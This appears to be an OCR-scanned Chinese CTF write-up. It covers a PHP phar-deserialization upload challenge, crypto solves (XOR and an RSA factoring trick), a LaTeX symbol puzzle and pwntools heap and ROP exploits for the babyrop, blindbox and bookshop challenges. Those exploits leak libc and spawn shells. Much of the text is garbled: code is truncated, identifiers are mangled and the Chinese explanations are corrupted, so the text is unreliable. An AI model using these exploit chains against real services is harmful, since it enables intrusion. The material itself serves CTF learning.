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FE fexxeiitsession # Blip, )5 E#phar.

$dst_path = 'upload/’' .md5("test".$_SERVER['REMOTE_ADDR']);
mkdir($dst_path);
file_put_contents($dst_path.'/index.html', 'Nothing!');

$filename = $_FILES["file"1["name"];
$file = new File();
$basename = $file—>get_file_name($filename);

§fileext = $file—>get_real _ext($_FILES["file"]["type"]);
var_dump($_FILES["file"]['type
$dst_path = $dst_path."/".md5($basename).$fileext;

$filezise = $file—>get_file_size($filename);

if (strlen($filename) < 70 & strlen($filename) == 0)
echo $dst_path;

move_uploaded_file $_FILES["file "tmp_name" |, $dst_path 3
$response = array("success" = true, "message" = "File upload success", "filesize" = $filezise);
Header("Content-type: applic r
echo json_encode($response’;
else
$response = array("success" = false, "error" = "Invaild filename");
Header("Content-type: application/json");

echo json_encode($response);

class Users {
public $db;
abstract public function verify user($username, $password);
abstract public function check user_exist($username);
abstract public function add user($username, $password);
abstract protected function eval();
public function test() {

$this->eval();
)i

)i
class User extends Users {
private $func;

protected $param;

public function _ construct(){

$this->func

$this->param [new Logs,

1
J

protected function eval() {
if (is_array($this->param)) {
($this->func) ($this->param);
} else {

die( )

)i

)i

public function verify_user($username, $password) {

}

public function check_user_exist($username) {




¥
¥

class Welcome{
public $username;
public $password;
public $verify;
public $greeting;

__toString(){

verify

function
$this

public

return username, $this

s
public
$this
b

b

class File {

verify user($this

function _ wakeup(){

greeting .$this->username.

public $filename;
public $fileext;
public $basename;

public function
$this
}

public function check file exist($filename) {

__construct(){

filename = new User();

if (file_exists($filename) is_dir($filename)) {
return true;

} else {

return false;

}
}

public function _ call($func, $params) {
foreach($params as $param){

if($this
echo ;

$this

check file exist($param)) {

filename->test();

class Logs {

public $log;

public function log() {
$log = $_GET[ 1;
if(preg_match(

die( )s

)i

file put_contents($log,

new Welcome();
username new Welcome();
username->username
username->password

username->verify new File();

)5
new Phar(
startBuffering();
setStub(
setMetadata($a);

password);

» $log)) {




$phar->addFromString(

$phar->stopBuffering()

pe@av(l_$EG[Tba]c;) resource=shell.php

?>

default mimetype
disable classes

text/html | text/html

disable functions

pentl_alarmpentl_fork pentl waitpid, pentl_ wait,pentl i]:lcntl_alalrn,pcnll_fcrrk,pcnLl_wailp'rd,pcntl_\.'.'ait,pcntl
_wifexited,pcntl_wifstopped,pentl_wifsignaled pentl_ |_wifexitr;-d,pcntl_wifstopped,pcmi_wifsigna!ed,p(nrf_
wifcontinued pentl wexitstatus pentl_wtermsig,pentl |wifconlinuE'd,pcntl_wexitstalus,pcnll_wtermsig.pcnﬂ
_wstopsig,pentl_signal,pentl_signal_dispatch.pentl_g | _wstopsig,pentl_signal.pentl_signal_dispatch,pentl g
et_last_error,pentl_strerror, pentl_sigprocmask,pentl_ | et_last_error,pentl_strerror, pentl_sigprocmask, pentl_
sigwaitinfo,pcntl_sigtimedwait,pentl_exec,pentl_getp | sigwaitinfo,pentl_sigtimedwait,pentl_exec,pentl_getp

riority,pentl_setpriority, | riority,pentl_setpriority,
display errors Off : off
display startup_errors Off | Off

doc root

docref ext

H#Esystem,
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ZMXHZ3TXZWXIMG1LX1VUEJFWX1DVEMRIIRE =

BRI FHE: ZMXHZ3TXZWXIMG1LX1VUEJFWX1DVBMRLCJR9
B 03k Rzmxhz3, #BbaselHIEIX fbase64Hiflaghisk. ERIEBREBEHR, BUWERIOSHHEME, 3hA00 5, RERIFE

a==R
ZmxhZ3tXZWxMG11X1VuejFwX1dvbmRIcjR9
TRE 8%

A
ImxhZ3tXZWx jMG 11X 1 Vue jFwX 1 dvbmR1cjRY
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from ctypes import

key=[@x3E, OxCD, OxAA, Ox8E, 0x96, Ox1F, 0x89, OxCD, OxDB, OxFl, 0x70, OxF2, OxA9, Ox9C, OxC2,
, OxF2, OxFE, OxAD, ©x8B, 0x58, 0x7C, Ox2F, 0x03, Ox4A, Ox65, 0x31l, Ox89, Ox76, Ox57, Ox88,
, OxB8, OxE9, ©x01, OxE9, OxDE, OXE5, 0x86, Ox68, Ox8F, ©x24, OxD3]

random

[0x58,0xal,0xcb,0xe9,0xed, 0x2c,0xec,0xfb,0xe9,0xc4,0x16,0x97,0x99,0xbl,0xasd,0xe9,0xc3,0xc6,0x80

,0xbf,0x3e,0x44,0x18,0x2e,0x73,0x56,0x52,0xb8,0x5b,0x66,0xed,dxbc,0x8a,0xd8,0x36,0x8f,0xe6,0xd3

,0xb1,0x51,0xb9,0x59,0xd3,0x5a]

(len(key)):
(key[i]~random[i])

hamburgerRSA

from Crypto.Util.number import

n = 1772691257565086525462423260651384029715427511124233260338808628688221642344522807381702455
89798474033047460920552550018968571267978283756742722231922451193

c = 4771802260132454339907839595709508375320163133280894940692709158904483755646930080772848403
5581447960954603540348152501053100067139486887367207461593404096

(19,21):
ab=n%(10** (i+j))
a=(10%*i+1)*(10%*j+1)
b=inverse(a,10**(i+j))
nn=ab*b%10** (i+j)
print(nn)

p,q=9788542938580474429,18109858317913867117

PP (str(p) (p) (9) (a))

(str(q) (a) (p) (p))
d=inverse (65537, (PP-1)*(QQ-1))

print(long_to_bytes( (c,d,n)))
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Detexify LaTeX handwritten symbol recognition (kirelabs.org)

\flat
\lambda
\alpha
\gamma

{
\forall

\uplus \biguplus
\nu \mathcal{V}

\Lambda
\alpha
\top
\epsilon

\Xi

\approx
\triangleleft
\hbar

flag{fun LaTeX Math
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TSR TIE: | fun LaTeX Math

FiE=E fun_LaTeX_Math
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Pwn

babyrop

namei th A5 R t canary, iS5 AW F AT R AHE R AR VR, i password ERF B IEEFRTLASHT, wuln BB EFFrbp
Jbss_Estdout+0x20 H.i& [B] Fprintfab T A 58 I 7+ & Hlibcke sk, B vulnik [B] # 3k EHonegadget.

from pwn import

,log level

,28881)

(canary))

payload+=p64(0x601030)

payload+=p64(0x400818)

p.sendline(payload)

p.recvuntil( )
libc_base=u6b4(p.recv(6).1ljust(8, ))-0x3ec760
success( (libc_base))
system=1ibc_base+libc.sym[ ]
onegg=1ibc_base+0x4f3d5

payload+=p64(0x601030)
payload+=p64(onegg)
p.sendline(payload)

p.interactive()

blindbox

i Fcalloc & Mtcache H Eibin, 7&¥F add-deletedBiftcache, PR Tunsortedbind, showr] DA EE HlibcEeht GX 2R
BIOX7Te T AR bE, RETRBIOX7TIM L) , HE Hsystemitbdl, #EOThEE6H, srand(0)FHH FEKIBENL, FIRRE K
K, BR%E M8k systemrrand()EN ] & Rlshell,



from pwn import
from ctypes import
lib=cdll.LoadLibrary(

,log level

,28890)

p.sendlineafter(
p.sendlineafter(
p.sendlineafter(
def delete(idx):
p.sendlineafter(
p.sendlineafter(
def edit(idx,content):
p.sendlineafter( 5
p.sendlineafter( 5 (idx))
p.sendafter( ,content)
def show(idx):
p.sendlineafter(
p.sendlineafter(
def wish(content):
p.sendlineafter( )
p.sendlineafter( ,content)
def backdoor(system):
lib.srand(9)
p.sendlineafter(
for i in (8):
num=1ib.rand()
n=system”num

p.sendlineafter(

p.sendlineafter(
p.sendlineafter(
p.sendlineafter(
p.sendlineafter(
for i in (7):
add(1)

delete(1)

)
libc_base=u6b4(p.recv(6).1ljust(8, ))-0xlebbed
success( (libc_base))
system=1ibc_base+1libc.sym|[ ]
backdoor(system)
p.interactive()

bookshop

HEitcache/a, BREB2 1 fastbin,fil &k malloc_consolidate & 3 Junsortedbind, showskitt Elibchk, F A tcachef)
stash¥L 5k Fifastbin double free, SZIAEZMubE/AD, BT free_hook-8,
3H/bin/sh\x00+system B 7] ,




from pwn import

context(arch ,log level

,26927)

def add(content):
p.sendlineafter( 5 )
p.sendafter( ,content)
def show(idx):
p.sendlineafter(
p.sendlineafter(

def delete(idx):
p.sendlineafter(

p.sendlineafter(

p.sendlineafter( (0x78))
for i in (9):
add( (1))

delete(i)
delete(10)
delete(11)
p.sendlineafter( 5 0x440)

)
libc_base=u6b4(p.recv(6).1ljust(8, ))-0xlebcdo
success( (libc_base))
system=1ibc_base+libc.sym[ ]
free_hook=1ibc_base+libc.sym[
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